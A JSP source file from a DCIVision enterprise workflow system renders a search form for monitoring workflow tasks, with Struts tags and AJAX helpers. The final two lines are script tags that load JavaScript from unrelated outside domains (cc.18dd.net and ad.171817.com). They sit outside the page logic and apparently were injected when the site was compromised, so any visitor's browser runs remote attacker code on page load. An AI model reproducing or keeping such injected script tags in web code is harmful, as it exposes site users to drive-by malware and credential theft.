<%
/*
 * @(#)ListWorkflowMonitoring.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  EditWorkflowMonitoringSearch.jsp

  This is a EditWorkflowMonitoringSearch page.  It shows the active workflow progress pending for the user to finish in EIP.

    @author             Dick xie
    @company            DCIVision Ltd
    @creation date      18/6/2005
    @version            $Revision: 1.21.2.14 $
*/

%>
<%try {%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/wfm" prefix="wfm" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.List"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<%@ page import="com.dcivision.workflow.web.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listWorkflowMonitoringForm" scope="request" class="com.dcivision.workflow.web.ListWorkflowMonitoringForm"/>

<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/interface/WorkflowAjaxProcessor.js'> </script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/engine.js'></script>
<script type='text/javascript' src='<%= request.getContextPath() %>/dwr/util.js'></script>

<%
  /****************************************************************************
   * List Attributes Configuration Begin
   ****************************************************************************/
  String[][] SEARCH_MAP = { {"workflow.columnheader.track_id", "A.TRACK_ID"},
                            {"workflow.columnheader.workflow_code", "C.WORKFLOW_CODE"},
                            {"workflow.columnheader.category", "D.WORKFLOW_CATEGORY_NAME"},
                            {"workflow.columnheader.description", "C.DESCRIPTION"}
                          };

  int     COLUMN_OFFSET = 0;
  String[][] CALENDAR_NAME_MAP = { {"Year", ListWorkflowMonitoringForm.CALENDAR_TIME_TYPE_YEAR},
                                   {"Month", ListWorkflowMonitoringForm.CALENDAR_TIME_TYPE_MONTH},
                                   {"Day", ListWorkflowMonitoringForm.CALENDAR_TIME_TYPE_DAY} 
                                 };
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
    request.setAttribute(GlobalConstant.FUNCTION_CODE_KEY,SystemFunctionConstant.WORKFLOW_MONITOR);


  //WorkflowGroup currentGroup = (WorkflowGroup)request.getAttribute("workflowGroup");
  String returnURL = null;
  returnURL="ListWorkflowMonitoringGroup.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&workflowGroupID="+listWorkflowMonitoringForm.getWorkflowGroupID();
%>
<script language="JavaScript">
<!--
function CusOpListReset(frm) {

  frm.workflowGroupID.value = '<%=listWorkflowMonitoringForm.getWorkflowGroupID()%>';
  frm.priority.selectedIndex = -1;
  frm.status.selectedIndex = -1;
  frm.workflowCategoryID.selectedIndex = -1;
  frm.taskType[0].checked = true;
  frm.workflowRecordID.selectedIndex = -1;
  frm.submitter.value = "";
  frm.actionTaker.value = "";
  frm.datePeriodFrom.value = "";
  frm.datePeriodTo.value = "";
  frm.periodTimeType.value='<%=ListWorkflowMonitoringForm.CALENDAR_TIME_TYPE_YEAR%>';
  frm.periodTimes.value="";
  frm.periodType.value='<%=ListWorkflowMonitoringForm.PERIOD_TIME_TYPE_TIME%>';
  frm.trackID.value = "";
  frm.stepName.value = "";
  //frm.stageName.value= "";
  frm.workflowDescription.value = "";
  frm.relatedObject.value = "";
  frm.attachmentName.value = '';
  frm.taskComment.value = '';
  frm.generateExcel.value = "";
  frm.queryName.value = "";
  frm.queryDescription.value="";
  frm.queryType.value="P";
  frm.basicSearchField.value = '';
  frm.basicSearchKeyword.value = '';
  frm.curStartRowNo.value = 1;
  frm.opMode.value = '<%=GlobalConstant.OP_MODE_LIST_SEARCH_RESET%>';
  frm.navMode.value = '<%=GlobalConstant.NAV_MODE_LIST%>';
  frm.submit();
  return false;
}

function CusOpList(frm,par1,par2) {
  frm1 = document.listWorkflowMonitoringForm;
	if(frm1!="undefined"){
		if(frm1.datePeriodFrom.value!="" && frm1.datePeriodTo.value!=""){
			if (compareDate(frm1.datePeriodFrom, frm1.datePeriodTo, true) > 0) {		
	    		alert("<bean:message key='common.message.from_later_than_to'/>");
				return false;
			}
		}
	}
  document.listWorkflowMonitoringForm.generateExcel.value = "";
  document.listWorkflowMonitoringForm.generateAllExcel.value = "G";
  document.listWorkflowMonitoringForm.excelPageOffset.value = "";
  return OpList(frm,par1,par2);
}

function getCurrentForm(index){
	 var frm;
	  for (var i = 0; i < document.forms.length; i++) {
    	if (i==index) {
      	frm = document.forms[i];
      	break;
    }
  }	
  return frm;
}

//popup EditWorkflowQueryRecord.jsp window
function opSaveQuery(){
	frm1 = getCurrentForm(1);
	if(frm1!="undefined"){
		if(frm1.datePeriodFrom.value!="" && frm1.datePeriodTo.value!=""){
			if (compareDate(frm1.datePeriodFrom, frm1.datePeriodTo, true) > 0) {		
		    	alert("<bean:message key='common.message.from_later_than_to'/>");
				return false;
			}
		}
	}
  var sOptions = 'status=no,menubar=no,scrollbars=yes,resizable=no,toolbar=no';
  var sPopupPath = 'ListWorkflowMonitoring.do';
  var frm;
  var width = 600;
  var height = 340;
  var oldTarget = "";
  var oldAction= "";
  document.listWorkflowMonitoringForm.generateExcel.value = "E";
  var windowName = "DCIVisionPopupQuery";
  
  for (var i = 0; i < document.forms.length; i++) {
            if (document.forms[i].name != "") {
              frm = document.forms[i];
              break;
            }
          }
          oldTarget = frm.target;
          oldAction = frm.action;
  OpenCenteredPopup('about:blank', windowName, width, height, sOptions);
  frm.target = windowName;
  frm.action="ListWorkflowMonitoring.do?SHOW_HEADER_FOOTER=N";
  frm.submit();
  frm.target = oldTarget;
  frm.action = oldAction;
  return(false);
  
}
function opListQuery(){
  var oldTarget=document.listWorkflowMonitoringForm.target;
  var oldNavMode=document.listWorkflowMonitoringForm.navMode.value
  var sOptions = 'status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no';
  var sPopupPath = '<%= request.getContextPath() %>/workflow/MaintWorkflowQueryRecord.do?fromType=LQ&SHOW_HEADER_FOOTER=N';
  var width = 800;
  var height = 600;

  OpenCenteredPopup(sPopupPath, "DCIVisionPopupQuery", width, height, sOptions);

}
function getQueryRecord(queryID){
  document.listWorkflowMonitoringForm.generateExcel.value = "";
  document.listWorkflowMonitoringForm.generateAllExcel.value = "";
  document.listWorkflowMonitoringForm.excelPageOffset.value = "";
  document.listWorkflowMonitoringForm.queryID.value=queryID;
  document.listWorkflowMonitoringForm.opMode.value="QUERY.OPTION";
  document.listWorkflowMonitoringForm.submit();
  return(false);
}

function refreshWorkflowCode(){
  var frm = document.listWorkflowMonitoringForm;
  var categoryID = frm.workflowCategoryID.value;
  var groupID = "";
  var language = '<%=sessionContainer.getSessionLocale()%>';
  var userRecordID = '<%=sessionContainer.getUserRecordID()%>';
  
  WorkflowAjaxProcessor.getWorkflowRecord(setWorkflowRecord, categoryID, groupID, language, userRecordID); 
}

function refreshWorkflowGroup(){
  var frm = document.listWorkflowMonitoringForm;
  var workflowRecordID = frm.workflowRecordID.value;
  var language = '<%=sessionContainer.getSessionLocale()%>';
  
  WorkflowAjaxProcessor.getWorkflowGroup(setWorkflowGroup,workflowRecordID, language); 
}

function setWorkflowRecord(data){
  var workflowRecordID = document.listWorkflowMonitoringForm.workflowRecordID;
  DWRUtil.removeAllOptions(workflowRecordID);  
  DWRUtil.addOptions(workflowRecordID,  objectEval(data) ); 
	
}

function setWorkflowGroup(data) {
  var workflowGroupID = document.listWorkflowMonitoringForm.workflowGroupID;
  DWRUtil.setValue(workflowGroupID, data);
}

function objectEval(text){
    // eval() breaks when we use it to get an object using the { a:42, b:'x' }
    // syntax because it thinks that { and } surround a block and not an object
    // So we wrap it in an array and extract the first element to get around
    // this.
    // The regex = [start of line][whitespace]{[stuff]}[whitespace][end of line]
    text = text.replace(/\n/g, " ");
    text = text.replace(/\r/g, " ");
    if (text.match(/^\s*\{.*\}\s*$/)) {
        text = "[" + text + "][0]";
    }

    return eval(text);
}
-->
</script>
<!-- Form Section Begin -->
<html:form action="workflow/ListWorkflowMonitoring" method="POST" styleClass="form-style-2">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<!--html:hidden property="workflowGroupID"/-->
<html:hidden property="queryName"/>
<html:hidden property="queryDescription"/>
<html:hidden property="queryType"/>
<input type=hidden name="generateExcel" >
<input type=hidden name="generateAllExcel" >
<input type=hidden name="excelPageOffset">
<html:hidden property='returnTo'/>

<html:hidden property="queryID"/>

<layout:tabContainer id="tab1">
<layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
   <layout:tabBar styleClass="tabBar_no_button">
        <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true" visibility="false"/> 
    </layout:tabBar>
  <div id="basicTab" class="tabContent">
  <table>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.search.task_type'/>:&nbsp;</td>
    <td class="formFieldSmall" colspan='3'>
      <html:radio onkeydown="onKeyPress();" property='taskType' value='<%=ListWorkflowMonitoringForm.TASK_TYPE_DELAY%>'><bean:message key='workflow.label.delay_tasks'/></html:radio>
      <html:radio onkeydown="onKeyPress();" property='taskType' value='<%=ListWorkflowMonitoringForm.TASK_TYPE_ON_TIME%>'><bean:message key='workflow.label.on_time_tasks'/></html:radio>
      <html:radio onkeydown="onKeyPress();" property='taskType' value='<%=ListWorkflowMonitoringForm.TASK_TYPE_ALL%>'><bean:message key='workflow.label.all_tasks'/></html:radio>
    </td>
    
  </tr>
 
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.search.date_period'/>:&nbsp;</td>
    <td  colspan='3'class="formFieldSmall">
    <nobr>
      <html:radio onkeydown="onKeyPress();" property='periodType' value='<%=ListWorkflowMonitoringForm.PERIOD_TIME_TYPE_TIME%>'></html:radio>
      <html:datepicker property='datePeriodFrom' onkeydown="onKeyPress();"/>
      <bean:message key='common.label.access_to'/>
      <html:datepicker property='datePeriodTo' onkeydown="onKeyPress();"/>
      <html:radio onkeydown="onKeyPress();" property='periodType' value='<%=ListWorkflowMonitoringForm.PERIOD_TIME_TYPE_DAYS%>'></html:radio>&nbsp;
      <bean:message key='workflow.label.last'/>
      <html:integer property='periodTimes' size='2' onkeydown="onKeyPress();"/>
      <html:select property="periodTimeType" onkeydown="onKeyPress();">
      <html:options stringArray='<%=CALENDAR_NAME_MAP%>' convertLabel='false' hasSelect='false' />
      </html:select>
      </nobr>
    </td>
    </tr>
   <tr>
    <td class="formLabelSmall"><bean:message key='workflow.search.category'/>:&nbsp;</td>
    <td class="formFieldSmall" colspan="3">
      <html:select property='workflowCategoryID' style="width:400" onkeydown="onKeyPress();" onchange="return refreshWorkflowCode()">
        <html:options dbListName='<%=OptionsListConstant.DBLIST_WORKFLOW_CATEGORY%>'/>
      </html:select>
    </td>
   </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.search.priority'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:select property='priority' onkeydown="onKeyPress();">
        <html:options listName='<%=OptionsListConstant.LIST_WORKFLOW_PRIORITY%>'/>
      </html:select>
    </td>
    <td class="formLabelSmall"><bean:message key='workflow.search.status'/>:&nbsp;</td>
    <td class="formFieldSmall" >
      <html:select property='status' onkeydown="onKeyPress();">
        <html:options listName='<%=OptionsListConstant.LIST_WORKFLOW_PROGRESS_STATUS%>'/>
      </html:select>
    </td>
  </tr>
<tr>
    <td class="formLabelSmall"><bean:message key='workflow.label.workflow_group'/>:&nbsp;</td>
    <td class="formFieldSmall">
    <html:select property='workflowGroupID' onkeydown="onKeyPress();">
      <html:options stringArray='<%=(String[][])request.getAttribute("workflowGroupArray")%>' convertLabel='false' hasSelect='false'/>
    </html:select>
    </td>
    <td class="formLabelSmall"><bean:message key='workflow.search.submitter'/>:&nbsp;</td>
    <td class="formFieldSmall">
    <nobr>
      <html:userpicker property='submitter'  grantShowAdmin='ListUserWorkflowTask'  onkeydown="onKeyPress();"/>
    </nobr>  
    </td> 
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.search.workflow'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:select property='workflowRecordID' onkeydown="onKeyPress();" onchange="return refreshWorkflowGroup()">
        <option value="" ><bean:message key='common.options.select_menu.select_one'/></option>
        <%
          String[][] wfRecordArr = (String[][])request.getAttribute("workflowRecordArray");
          for (int i=0; i<wfRecordArr.length; i++){
        %>
        <option value="<%=wfRecordArr[i][0]%>" <%=wfRecordArr[i][0].equals(listWorkflowMonitoringForm.getWorkflowRecordID())?"selected":""%>><%=wfRecordArr[i][1]%> </option>
        <%}%>
      </html:select>
    </td>
    <td class="formLabelSmall"><bean:message key='workflow.search.action_taker'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:userpicker property='actionTaker' grantShowAdmin='ListUserWorkflowTask' onkeydown="onKeyPress();"/>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.columnheader.track_id'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:integer property='trackID' size='20' maxlength='20' onkeydown="onKeyPress();"/>
    </td>
    <td class="formLabelSmall"><bean:message key='workflow.search.related_object'/>:&nbsp;</td>
    <td class="formFieldSmall">
    <html:text property='relatedObject' maxlength='30' onkeydown="onKeyPress();"/>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='workflow.search.step_name'/>:&nbsp;</td>
    <td class="formFieldSmall">
    <html:text property='stepName' maxlength='100' onkeydown="onKeyPress();"/>
    </td>
    <td class="formLabelSmall"><bean:message key='workflow.label.task_comment'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:text property='taskComment' maxlength='30' onkeydown="onKeyPress();"/> 
    </td>
   </tr>
   <tr>
   <td class="formLabelSmall"><bean:message key='workflow.search.workflow_description'/>:&nbsp;</td>
    <td class="formFieldSmall">
    <html:text property='workflowDescription' maxlength='255' onkeydown="onKeyPress();"/>
    </td>
   <td class="formLabelSmall">
    <bean:message key='workflow.label.attachment_name'/>:&nbsp;
    </td>
    <td class="formFieldSmall">
    <html:text property='attachmentName' maxlength='30' onkeydown="onKeyPress();"/>
    </td>
  </tr>
 </table>
  </div>
  </layout:tabContainer>
  <div id="bottomButtonArea">
    <div id="buttonSection">
      <html:standardButton label="dms.label.query_save" onClick="return opSaveQuery()"/>
      <html:standardButton label="common.label.reset" onClick="return CusOpListReset(listWorkflowMonitoringForm)"/>
      <html:standardButton label="common.label.search" onClick="return(CusOpList(listWorkflowMonitoringForm, '${listWorkflowMonitoringForm.sortAttribute}', '${listWorkflowMonitoringForm.sortOrder}'))"/>
      <html:hidden property='basicSearchField'/>
      <html:hidden property='basicSearchKeyword'/>
     </div>
  </div>
<!-- Search Panel End -->

<!-- Table Showing Record List End -->
</html:form>
<%}
    catch (Exception e) {
      LogFactory.getLog(this.getClass()).error(e, e);
    }%>
<!-- Form Section End -->
<script language="JavaScript">
<!--
function onKeyPress(){
if(event.keyCode==13)CusOpList(listWorkflowMonitoringForm, '<bean:write name='listWorkflowMonitoringForm' property='sortAttribute' replace=''/>', '<bean:write name='listWorkflowMonitoringForm' property='sortOrder' replace=''/>');
}
refreshWorkflowCode();
-->
</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>